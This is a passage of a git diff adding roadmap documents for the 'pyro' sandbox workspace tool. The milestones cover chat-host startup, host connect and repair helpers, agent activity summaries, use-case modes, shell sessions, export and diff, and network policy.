- keep bare `vm-run` available as the smallest one-shot profile
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no silent removal of advanced workspace capabilities
|
||||
- no attempt to infer a profile from the client name
|
||||
- no `3.x` backport that changes the current default behavior
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- a bare `pyro mcp serve` command now exposes the recommended narrow profile
|
||||
- a bare `create_server()` or `Pyro.create_server()` call matches that same
|
||||
default
|
||||
- advanced hosts can still opt into `workspace-full` explicitly with no loss of
|
||||
functionality
|
||||
- docs no longer need to explain that the recommended path and the default path
|
||||
are different
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- help text, public contract, README, install docs, and integrations docs
|
||||
revised to reflect the new default
|
||||
- migration note explaining the default change and the explicit
|
||||
`workspace-full` opt-in path
|
||||
- examples audited so they only mention `--profile workspace-core` when the
|
||||
explicitness is useful rather than compensating for the old default
|
||||
|
|
@ -0,0 +1,56 @@
|
|||
# `4.1.0` Project-Aware Chat Startup
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Make "current repo to disposable sandbox" the default story for the narrowed
|
||||
chat-host user, without requiring manual workspace seeding choreography first.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
The chat entrypoint should gain one documented project-aware startup path:
|
||||
|
||||
- `pyro mcp serve` should accept an explicit local project source, such as the
|
||||
current checkout
|
||||
- the product path should optionally support a clean-clone source, such as a
|
||||
repo URL, when the user is not starting from a local checkout
|
||||
- the first useful chat turn should not depend on manually teaching
|
||||
`workspace create ... --seed-path ...` before the host can do real work
|
||||
|
||||
Exact flag names can still change, but the product needs one obvious "use this
|
||||
repo" path and one obvious "start from that repo" path.
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- keep host crossing explicit; do not silently mutate the user's checkout
|
||||
- prefer local checkout seeding first, because that is the most natural daily
|
||||
chat path
|
||||
- preserve existing explicit sync, export, diff, and reset primitives rather
|
||||
than inventing a hidden live-sync layer
|
||||
- keep the startup story compatible with the existing `workspace-core` product
|
||||
path
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no generic SCM integration platform
|
||||
- no background multi-repo workspace manager
|
||||
- no always-on bidirectional live sync between host checkout and guest
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- from a repo root, a user can connect Claude Code, Codex, or OpenCode and the
|
||||
first workspace starts from that repo without extra terminal choreography
|
||||
- from outside a repo checkout, a user can still start from a documented clean
|
||||
source such as a repo URL
|
||||
- the README and install docs can teach a repo-aware chat flow before the
|
||||
manual terminal workspace flow
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- README, install docs, first-run docs, integrations docs, and public contract
|
||||
updated to show the repo-aware chat startup path
|
||||
- help text updated so the repo-aware startup path is visible from `pyro` and
|
||||
`pyro mcp serve --help`
|
||||
- at least one recipe and one real smoke scenario updated to validate the new
|
||||
startup story
|
||||
|
|
@ -0,0 +1,53 @@
|
|||
# `4.2.0` Host Bootstrap And Repair
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Make supported chat hosts feel one-command to connect and easy to repair when a
|
||||
local config drifts or the product changes shape.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
The CLI should grow a small host-helper surface for the supported chat hosts:
|
||||
|
||||
- `pyro host connect claude-code`
|
||||
- `pyro host connect codex`
|
||||
- `pyro host print-config opencode`
|
||||
- `pyro host doctor`
|
||||
- `pyro host repair HOST`
|
||||
|
||||
The exact names can still move, but the product needs a first-class bootstrap
|
||||
and repair path for Claude Code, Codex, and OpenCode.
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- host helpers should wrap the same `pyro mcp serve` entrypoint rather than
|
||||
introduce per-host runtime behavior
|
||||
- config changes should remain inspectable and predictable
|
||||
- support both installed-package and `uvx`-style usage where that materially
|
||||
reduces friction
|
||||
- keep the host helper story narrow to the current supported hosts
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no GUI installer or onboarding wizard
|
||||
- no attempt to support every possible MCP-capable editor or chat shell
|
||||
- no hidden network service or account-based control plane
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- a new Claude Code or Codex user can connect `pyro` with one command
|
||||
- an OpenCode user can print or materialize a correct config without hand-writing
|
||||
JSON
|
||||
- a user with a stale or broken local host config can run one repair or doctor
|
||||
flow instead of debugging MCP setup manually
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- new host-helper docs and examples for all supported chat hosts
|
||||
- README, install docs, and integrations docs updated to prefer the helper
|
||||
flows when available
|
||||
- help text updated with exact connect and repair commands
|
||||
- runnable verification or smoke coverage that proves the shipped host-helper
|
||||
examples stay current
|
||||
|
|
@ -0,0 +1,54 @@
|
|||
# `4.3.0` Reviewable Agent Output
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Make it easy for a human to review what the agent actually did inside the
|
||||
sandbox without manually reconstructing the session from diffs, logs, and raw
|
||||
artifacts.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
The product should expose a concise workspace review surface, for example:
|
||||
|
||||
- `pyro workspace summary WORKSPACE_ID`
|
||||
- `workspace_summary` on the MCP side
|
||||
- structured JSON plus a short human-readable summary view
|
||||
|
||||
The summary should cover the things a chat-host user cares about:
|
||||
|
||||
- commands run
|
||||
- files changed
|
||||
- diff or patch summary
|
||||
- services started
|
||||
- artifacts exported
|
||||
- final workspace outcome
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- prefer concise review surfaces over raw event firehoses
|
||||
- keep raw logs, diffs, and exported files available as drill-down tools
|
||||
- summarize only the sandbox activity the product can actually observe
|
||||
- make the summary good enough to paste into a chat, bug report, or PR comment
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no full compliance or audit product
|
||||
- no attempt to summarize the model's hidden reasoning
|
||||
- no remote storage backend for session history
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- after a repro-fix or review-eval run, a user can inspect one summary and
|
||||
understand what changed and what to review next
|
||||
- the summary is useful enough to accompany exported patches or artifacts
|
||||
- unsafe-inspection and review-eval flows become easier to trust because the
|
||||
user can review agent-visible actions in one place
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- public contract, help text, README, and recipe docs updated with the new
|
||||
summary path
|
||||
- at least one host-facing example showing how to ask for or export the summary
|
||||
- at least one real smoke scenario validating the review surface end to end
|
||||
|
|
@ -0,0 +1,56 @@
|
|||
# `4.4.0` Opinionated Use-Case Modes
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Stop making chat-host users think in terms of one giant workspace surface and
|
||||
let them start from a small mode that matches the job they want the agent to do.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
The chat entrypoint should gain named use-case modes, for example:
|
||||
|
||||
- `pyro mcp serve --mode repro-fix`
|
||||
- `pyro mcp serve --mode inspect`
|
||||
- `pyro mcp serve --mode cold-start`
|
||||
- `pyro mcp serve --mode review-eval`
|
||||
|
||||
Modes should narrow the product story by selecting the right defaults for:
|
||||
|
||||
- tool surface
|
||||
- workspace bootstrap behavior
|
||||
- docs and example prompts
|
||||
- expected export and review outputs
|
||||
|
||||
Parallel workspace use should come from opening more than one named workspace
|
||||
inside the same mode, not from introducing a scheduler or queue abstraction.
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- build modes on top of the existing `workspace-core` and `workspace-full`
|
||||
capabilities instead of inventing separate backends
|
||||
- keep the mode list short and mapped to the documented use cases
|
||||
- make modes visible from help text, host helpers, and recipe docs together
|
||||
- let users opt out to the generic workspace path when the mode is too narrow
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no user-defined mode DSL
|
||||
- no hidden host-specific behavior for the same mode name
|
||||
- no CI-style pipelines, matrix builds, or queueing abstractions
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- a new user can pick one mode and avoid reading the full workspace surface
|
||||
before starting
|
||||
- the documented use cases map cleanly to named entry modes
|
||||
- parallel issue or PR work feels like "open another workspace in the same
|
||||
mode", not "submit another job"
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- help text, README, install docs, integrations docs, and use-case recipes
|
||||
updated to teach the named modes
|
||||
- host-specific setup docs updated so supported hosts can start in a named mode
|
||||
- at least one smoke scenario proving a mode-specific happy path end to end
|
||||
57
docs/roadmap/llm-chat-ergonomics/4.5.0-faster-daily-loops.md
Normal file
57
docs/roadmap/llm-chat-ergonomics/4.5.0-faster-daily-loops.md
Normal file
|
|
@ -0,0 +1,57 @@
|
|||
# `4.5.0` Faster Daily Loops
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Make the day-to-day chat-host loop feel cheap enough that users reach for it
|
||||
for normal work, not only for special high-isolation tasks.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
The product now adds an explicit fast-path for repeated local use:
|
||||
|
||||
- `pyro prepare [ENVIRONMENT] [--network] [--force] [--json]`
|
||||
- `pyro doctor --environment ENVIRONMENT` daily-loop readiness output
|
||||
- `make smoke-daily-loop` to prove the warmed machine plus reset/retry story
|
||||
|
||||
The exact command names can still move, but the user-visible story needs to be:
|
||||
|
||||
- set the machine up once
|
||||
- reconnect quickly
|
||||
- create or reset a workspace cheaply
|
||||
- keep iterating without redoing heavy setup work
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- optimize local-first loops on one machine before thinking about remote
|
||||
execution
|
||||
- focus on startup, create, reset, and retry latency rather than queue
|
||||
throughput
|
||||
- keep the fast path compatible with the repo-aware startup story and the
|
||||
supported chat hosts
|
||||
- prefer explicit caching and prewarm semantics over hidden long-running
|
||||
daemons
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no cloud prewarm service
|
||||
- no scheduler or queueing layer
|
||||
- no daemon requirement for normal daily use
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- after the first setup, entering the chat-host path again does not feel like
|
||||
redoing the whole product onboarding
|
||||
- reset and retry become cheap enough to recommend as the default repro-fix
|
||||
workflow
|
||||
- docs can present `pyro` as a daily coding-agent tool, not only as a special
|
||||
heavy-duty sandbox
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- docs now show the recommended daily-use fast path
|
||||
- diagnostics and help text now show whether the machine is already warm and
|
||||
ready
|
||||
- the repo now includes `make smoke-daily-loop` as a repeat-loop verification
|
||||
scenario for the daily workflow
|
||||
|
|
@ -0,0 +1,55 @@
|
|||
# `4.6.0` Git-Tracked Project Sources
|
||||
|
||||
Status: Planned
|
||||
|
||||
## Goal
|
||||
|
||||
Make repo-root startup and `--project-path` robust for messy real checkouts by
|
||||
stopping the default chat-host path from trying to ingest every readable and
|
||||
unreadable file in the working tree.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
Project-aware startup should change its default local source semantics:
|
||||
|
||||
- bare `pyro mcp serve` from inside a Git checkout should seed from Git-tracked
|
||||
files only
|
||||
- `pyro mcp serve --project-path PATH` should also use Git-tracked files only
|
||||
when `PATH` is inside a Git checkout
|
||||
- `--repo-url` remains the clean-clone path when the user wants a host-side
|
||||
clone instead of the local checkout
|
||||
- explicit `workspace create --seed-path PATH` remains unchanged in this
|
||||
milestone
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- apply the new semantics only to project-aware startup sources, not every
|
||||
explicit directory seed
|
||||
- do not silently include ignored or untracked junk in the default chat-host
|
||||
path
|
||||
- preserve explicit diff, export, sync push, and reset behavior
|
||||
- surface the chosen project source clearly enough that users know what the
|
||||
sandbox started from
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no generic SCM abstraction layer
|
||||
- no silent live sync between the host checkout and the guest
|
||||
- no change to explicit archive seeding semantics in this milestone
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- starting `pyro mcp serve` from a repo root no longer fails on unreadable
|
||||
build artifacts or ignored runtime byproducts
|
||||
- starting from `--project-path` inside a Git repo behaves the same way
|
||||
- users can predict that the startup source matches the tracked project state
|
||||
rather than the entire working tree
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- README, install docs, integrations docs, and public contract updated to state
|
||||
what local project-aware startup actually includes
|
||||
- help text updated to distinguish project-aware startup from explicit
|
||||
`--seed-path` behavior
|
||||
- at least one guest-backed smoke scenario added for a repo with ignored,
|
||||
generated, and unreadable files
|
||||
|
|
@ -0,0 +1,50 @@
|
|||
# `4.7.0` Project Source Diagnostics And Recovery
|
||||
|
||||
Status: Planned
|
||||
|
||||
## Goal
|
||||
|
||||
Make project-source selection and startup failures understandable enough that a
|
||||
chat-host user can recover without reading internals or raw tracebacks.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
The chat-host path should expose clearer project-source diagnostics:
|
||||
|
||||
- `pyro doctor` should report the active project-source kind and its readiness
|
||||
- `pyro mcp serve` and host helpers should explain whether they are using
|
||||
tracked local files, `--project-path`, `--repo-url`, or no project source
|
||||
- startup failures should recommend the right fallback:
|
||||
`--project-path`, `--repo-url`, `--no-project-source`, or explicit
|
||||
`seed_path`
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- keep diagnostics focused on the chat-host path rather than inventing a broad
|
||||
source-management subsystem
|
||||
- prefer actionable recovery guidance over long implementation detail dumps
|
||||
- make project-source diagnostics visible from the same surfaces users already
|
||||
touch: help text, `doctor`, host helpers, and startup errors
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no generic repo-health audit product
|
||||
- no attempt to auto-fix arbitrary local checkout corruption
|
||||
- no host-specific divergence in project-source behavior
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- a user can tell which project source the chat host will use before creating a
|
||||
workspace
|
||||
- a user who hits a project-source failure gets a concrete recovery path instead
|
||||
of a raw permission traceback
|
||||
- host helper doctor and repair flows can explain project-source problems, not
|
||||
only MCP config problems
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- docs, help text, and troubleshooting updated with project-source diagnostics
|
||||
and fallback guidance
|
||||
- at least one smoke or targeted CLI test covering the new failure guidance
|
||||
- host-helper docs updated to show when to prefer `--project-path`,
|
||||
`--repo-url`, or `--no-project-source`
|
||||
|
|
@ -0,0 +1,52 @@
|
|||
# `4.8.0` First-Class Chat Environment Selection
|
||||
|
||||
Status: Planned
|
||||
|
||||
## Goal
|
||||
|
||||
Make curated environment choice part of the normal chat-host path so full
|
||||
project work is not implicitly tied to one default environment.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
Environment selection should become first-class in the chat-host path:
|
||||
|
||||
- `pyro mcp serve` should accept an explicit environment
|
||||
- `pyro host connect` should accept and preserve an explicit environment
|
||||
- `pyro host print-config` and `pyro host repair` should preserve the selected
|
||||
environment where relevant
|
||||
- named modes should be able to recommend a default environment when one is
|
||||
better for the workflow, without removing explicit user choice
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- keep environment selection aligned with the existing curated environment
|
||||
catalog
|
||||
- avoid inventing host-specific environment behavior for the same mode
|
||||
- keep the default environment path simple for the quickest evaluator flow
|
||||
- ensure the chosen environment is visible from generated config, help text, and
|
||||
diagnostics
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no custom user-built environment pipeline in this milestone
|
||||
- no per-host environment negotiation logic
|
||||
- no attempt to solve arbitrary dependency installation through environment
|
||||
sprawl alone
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- a user can choose a build-oriented environment such as `debian:12-build`
|
||||
before connecting the chat host
|
||||
- host helpers, raw server startup, and printed configs all preserve the same
|
||||
environment choice
|
||||
- docs can teach whole-project development without pretending every project fits
|
||||
the same default environment
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- README, install docs, integrations docs, public contract, and host examples
|
||||
updated to show environment selection in the chat-host path
|
||||
- help text updated for raw server startup and host helpers
|
||||
- at least one guest-backed smoke scenario updated to prove a non-default
|
||||
environment in the chat-host flow
|
||||
|
|
@ -0,0 +1,52 @@
|
|||
# `4.9.0` Real-Repo Qualification Smokes
|
||||
|
||||
Status: Planned
|
||||
|
||||
## Goal
|
||||
|
||||
Replace fixture-only confidence with guest-backed proof that the chat-host path
|
||||
works against messy local repos and clean-clone startup sources.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
No new runtime surface is required in this milestone. The main additions are
|
||||
qualification smokes and their supporting fixtures.
|
||||
|
||||
The new coverage should prove:
|
||||
|
||||
- repo-root startup from a local Git checkout with ignored, generated, and
|
||||
unreadable files
|
||||
- `--repo-url` clean-clone startup
|
||||
- a realistic install, test, patch, rerun, and export loop
|
||||
- at least one nontrivial service-start or readiness loop
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- keep the smoke pack guest-backed and deterministic enough to use as a release
|
||||
gate
|
||||
- focus on realistic repo-shape and project-loop problems, not synthetic
|
||||
micro-feature assertions
|
||||
- prefer a small number of representative project fixtures over a large matrix
|
||||
of toy repos
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no promise to qualify every language ecosystem in one milestone
|
||||
- no cloud or remote execution qualification layer
|
||||
- no broad benchmark suite beyond what is needed to prove readiness
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- the repo has one clear smoke target for real-repo qualification
|
||||
- at least one local-checkout smoke proves the new Git-tracked startup behavior
|
||||
- at least one clean-clone smoke proves the `--repo-url` path
|
||||
- failures in these smokes clearly separate project-source issues from runtime
|
||||
or host issues
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- new guest-backed smoke targets and any supporting fixtures
|
||||
- roadmap, use-case docs, and release/readiness docs updated to point at the
|
||||
new qualification path
|
||||
- troubleshooting updated with the distinction between shaped use-case smokes
|
||||
and real-repo qualification smokes
|
||||
|
|
@ -0,0 +1,53 @@
|
|||
# `5.0.0` Whole-Project Sandbox Development
|
||||
|
||||
Status: Planned
|
||||
|
||||
## Goal
|
||||
|
||||
Reach the point where it is credible to tell a user they can develop a real
|
||||
project inside sandboxes, not just validate, inspect, or patch one.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
No new generic VM breadth is required here. This milestone should consolidate
|
||||
the earlier pieces into one believable full-project product story:
|
||||
|
||||
- robust project-aware startup
|
||||
- explicit environment selection in the chat-host path
|
||||
- summaries, reset, export, and service workflows that hold up during longer
|
||||
work loops
|
||||
- qualification targets that prove a nontrivial development cycle
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- keep the product centered on the chat-host workspace path rather than a broad
|
||||
CLI or SDK platform story
|
||||
- use the existing named modes and generic workspace path where they fit, but
|
||||
teach one end-to-end full-project development walkthrough
|
||||
- prioritize daily development credibility over adding new low-level sandbox
|
||||
surfaces
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no attempt to become a generic remote dev environment platform
|
||||
- no scheduler, queue, or CI matrix abstractions
|
||||
- no claim that every possible project type is equally well supported
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- the docs contain one end-to-end “develop a project in sandboxes” walkthrough
|
||||
- that walkthrough covers dependency install, tests, patching, reruns, review,
|
||||
and export, with app/service startup when relevant
|
||||
- at least one guest-backed qualification target proves the story on a
|
||||
nontrivial project
|
||||
- the readiness docs can honestly say whole-project development is supported
|
||||
with explicit caveats instead of hedged aspirational language
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- README, install docs, integrations docs, use-case docs, and public contract
|
||||
updated to include the whole-project development story
|
||||
- at least one walkthrough asset or transcript added for the new end-to-end
|
||||
path
|
||||
- readiness and troubleshooting docs updated with the actual supported scope and
|
||||
remaining caveats
|
||||
50
docs/roadmap/task-workspace-ga.md
Normal file
50
docs/roadmap/task-workspace-ga.md
Normal file
|
|
@ -0,0 +1,50 @@
|
|||
# Task Workspace GA Roadmap
|
||||
|
||||
This roadmap turns the agent-workspace vision into release-sized milestones.
|
||||
|
||||
Current baseline is `3.1.0`:
|
||||
|
||||
- workspace persistence exists and the public surface is now workspace-first
|
||||
- host crossing currently covers create-time seeding, later sync push, and explicit export
|
||||
- persistent PTY shell sessions exist alongside one-shot `workspace exec`
|
||||
- immutable create-time baselines now power whole-workspace diff
|
||||
- multi-service lifecycle exists with typed readiness and aggregate workspace status counts
|
||||
- named snapshots and full workspace reset now exist
|
||||
- explicit secrets now exist for guest-backed workspaces
|
||||
- explicit workspace network policy and localhost published service ports now exist
|
||||
|
||||
Locked roadmap decisions:
|
||||
|
||||
- no backward compatibility goal for the current `task_*` naming
|
||||
- workspace-first naming lands first, before later features
|
||||
- snapshots are real named snapshots, not only reset-to-baseline
|
||||
|
||||
Every milestone below must update CLI, SDK, and MCP together. Each milestone is
|
||||
also expected to update:
|
||||
|
||||
- `README.md`
|
||||
- install/first-run docs
|
||||
- `docs/public-contract.md`
|
||||
- help text and runnable examples
|
||||
- at least one real Firecracker smoke scenario
|
||||
|
||||
## Milestones
|
||||
|
||||
1. [`2.4.0` Workspace Contract Pivot](task-workspace-ga/2.4.0-workspace-contract-pivot.md) - Done
|
||||
2. [`2.5.0` PTY Shell Sessions](task-workspace-ga/2.5.0-pty-shell-sessions.md) - Done
|
||||
3. [`2.6.0` Structured Export And Baseline Diff](task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md) - Done
|
||||
4. [`2.7.0` Service Lifecycle And Typed Readiness](task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md) - Done
|
||||
5. [`2.8.0` Named Snapshots And Reset](task-workspace-ga/2.8.0-named-snapshots-and-reset.md) - Done
|
||||
6. [`2.9.0` Secrets](task-workspace-ga/2.9.0-secrets.md) - Done
|
||||
7. [`2.10.0` Network Policy And Host Port Publication](task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md) - Done
|
||||
8. [`3.0.0` Stable Workspace Product](task-workspace-ga/3.0.0-stable-workspace-product.md) - Done
|
||||
9. [`3.1.0` Secondary Disk Tools](task-workspace-ga/3.1.0-secondary-disk-tools.md) - Done
|
||||
|
||||
## Roadmap Status
|
||||
|
||||
The planned workspace roadmap is complete.
|
||||
|
||||
- `3.1.0` added secondary stopped-workspace disk export and offline inspection helpers without
|
||||
changing the stable workspace-first core contract.
|
||||
- The next follow-on milestones now live in [llm-chat-ergonomics.md](llm-chat-ergonomics.md) and
|
||||
focus on making the stable workspace product feel trivial from chat-driven LLM interfaces.
|
||||
|
|
@ -0,0 +1,45 @@
|
|||
# `2.10.0` Network Policy And Host Port Publication
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Replace the coarse current network toggle with an explicit workspace network
|
||||
policy and make services host-probeable through controlled published ports.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
- `workspace create` gains explicit network policy instead of a simple boolean
|
||||
- `workspace service start` gains published-port configuration
|
||||
- `workspace service status/list` returns published-port information
|
||||
|
||||
Recommended policy model:
|
||||
|
||||
- `off`
|
||||
- `egress`
|
||||
- `egress+published-ports`
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- Host port publication is localhost-only by default.
|
||||
- Ports remain attached to services, not generic VM networking.
|
||||
- Published-port details are queryable from CLI, SDK, and MCP.
|
||||
- Keep network access explicit and visible in the workspace spec.
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no remote exposure defaults
|
||||
- no advanced ingress routing
|
||||
- no general-purpose networking product surface
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- start a service, wait for readiness, probe it from the host, inspect logs,
|
||||
then stop it
|
||||
- keep a workspace fully offline and confirm no implicit network access exists
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- docs that show app validation from the host side
|
||||
- examples that use typed readiness plus localhost probing
|
||||
- real Firecracker smoke for published-port probing
|
||||
|
|
@ -0,0 +1,72 @@
|
|||
# `2.4.0` Workspace Contract Pivot
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Make the public product read as a workspace-first sandbox instead of a
|
||||
task-flavored alpha by replacing the `task_*` surface with `workspace_*`.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
- CLI:
|
||||
- `pyro workspace create`
|
||||
- `pyro workspace sync push`
|
||||
- `pyro workspace exec`
|
||||
- `pyro workspace status`
|
||||
- `pyro workspace logs`
|
||||
- `pyro workspace delete`
|
||||
- SDK:
|
||||
- `create_workspace`
|
||||
- `push_workspace_sync`
|
||||
- `exec_workspace`
|
||||
- `status_workspace`
|
||||
- `logs_workspace`
|
||||
- `delete_workspace`
|
||||
- MCP:
|
||||
- `workspace_create`
|
||||
- `workspace_sync_push`
|
||||
- `workspace_exec`
|
||||
- `workspace_status`
|
||||
- `workspace_logs`
|
||||
- `workspace_delete`
|
||||
|
||||
Field renames:
|
||||
|
||||
- `task_id` -> `workspace_id`
|
||||
- `source_path` on create -> `seed_path`
|
||||
- `task.json` / `tasks/` -> `workspace.json` / `workspaces/`
|
||||
|
||||
No compatibility aliases. Remove `task_*` from the public contract in the same
|
||||
release.
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- Keep current behavior intact under the new names:
|
||||
- persistent workspace creation
|
||||
- create-time seed
|
||||
- sync push
|
||||
- exec/status/logs/delete
|
||||
- Rename public result payloads and CLI help text to workspace language.
|
||||
- Move on-disk persisted records to `workspaces/` and update rehydration logic
|
||||
accordingly.
|
||||
- Update examples, docs, and tests to stop using task terminology.
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no shell sessions yet
|
||||
- no export, diff, services, snapshots, reset, or secrets in this release
|
||||
- no attempt to preserve old CLI/SDK/MCP names
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- create a seeded workspace, sync host changes into it, exec inside it, inspect
|
||||
status/logs, then delete it
|
||||
- the same flow works from CLI, SDK, and MCP with only workspace-first names
|
||||
- one-shot `pyro run` remains unchanged
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- replace task language in README/install/first-run/public contract/help
|
||||
- update runnable examples to use `workspace_*`
|
||||
- add one real Firecracker smoke for create -> sync push -> exec -> delete
|
||||
65
docs/roadmap/task-workspace-ga/2.5.0-pty-shell-sessions.md
Normal file
65
docs/roadmap/task-workspace-ga/2.5.0-pty-shell-sessions.md
Normal file
|
|
@ -0,0 +1,65 @@
|
|||
# `2.5.0` PTY Shell Sessions
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Add persistent interactive shells so an agent can inhabit a workspace instead
|
||||
of only submitting one-shot `workspace exec` calls.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
- CLI:
|
||||
- `pyro workspace shell open`
|
||||
- `pyro workspace shell read`
|
||||
- `pyro workspace shell write`
|
||||
- `pyro workspace shell signal`
|
||||
- `pyro workspace shell close`
|
||||
- SDK:
|
||||
- `open_shell`
|
||||
- `read_shell`
|
||||
- `write_shell`
|
||||
- `signal_shell`
|
||||
- `close_shell`
|
||||
- MCP:
|
||||
- `shell_open`
|
||||
- `shell_read`
|
||||
- `shell_write`
|
||||
- `shell_signal`
|
||||
- `shell_close`
|
||||
|
||||
Core shell identity:
|
||||
|
||||
- `workspace_id`
|
||||
- `shell_id`
|
||||
- PTY size
|
||||
- working directory
|
||||
- running/stopped state
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- Shells are persistent PTY sessions attached to one workspace.
|
||||
- Output buffering is append-only with cursor-based reads so callers can poll
|
||||
incrementally.
|
||||
- Shell sessions survive separate CLI/SDK/MCP calls and are cleaned up by
|
||||
`workspace delete`.
|
||||
- Keep `workspace exec` as the non-interactive path; do not merge the two
|
||||
models.
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no terminal UI beyond structured shell I/O
|
||||
- no service lifecycle changes in this milestone
|
||||
- no export/diff/snapshot/reset changes yet
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- open a shell, write commands, read output in chunks, send SIGINT, then close
|
||||
- reopen a new shell in the same workspace after closing the first one
|
||||
- delete a workspace with an open shell and confirm the shell is cleaned up
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- shell-focused example in CLI, SDK, and MCP docs
|
||||
- help text that explains shell vs exec clearly
|
||||
- real Firecracker smoke for open -> write -> read -> signal -> close
|
||||
|
|
@ -0,0 +1,49 @@
|
|||
# `2.6.0` Structured Export And Baseline Diff
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Complete the next explicit host-crossing step by letting a workspace export
|
||||
files back to the host and diff itself against its immutable create-time
|
||||
baseline.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
- CLI:
|
||||
- `pyro workspace export WORKSPACE_ID PATH --output HOST_PATH`
|
||||
- `pyro workspace diff WORKSPACE_ID`
|
||||
- SDK:
|
||||
- `export_workspace`
|
||||
- `diff_workspace`
|
||||
- MCP:
|
||||
- `workspace_export`
|
||||
- `workspace_diff`
|
||||
|
||||
## Implementation Boundaries
|
||||
|
||||
- Capture a baseline snapshot at `workspace create`.
|
||||
- `workspace diff` compares current `/workspace` against that baseline.
|
||||
- `workspace export` exports files or directories only from paths under
|
||||
`/workspace`.
|
||||
- Keep output structured:
|
||||
- unified patch text for text files
|
||||
- summary entries for binary or type changes
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- no named snapshots yet
|
||||
- no reset yet
|
||||
- no export outside `/workspace`
|
||||
|
||||
## Acceptance Scenarios
|
||||
|
||||
- seed workspace, mutate files, diff against baseline, export a file to host
|
||||
- sync push content after create, then confirm diff reports the synced changes
|
||||
- unchanged workspace returns an empty diff summary cleanly
|
||||
|
||||
## Required Repo Updates
|
||||
|
||||
- docs that distinguish seed, sync push, diff, and export
|
||||
- example showing reproduce -> mutate -> diff -> export
|
||||
- real Firecracker smoke for diff and export
|
||||
|
|
@ -0,0 +1,52 @@
|
|||
# `2.7.0` Service Lifecycle And Typed Readiness
|
||||
|
||||
Status: Done
|
||||
|
||||
## Goal
|
||||
|
||||
Make app-style workspaces practical by adding first-class services and typed
|
||||
readiness checks.
|
||||
|
||||
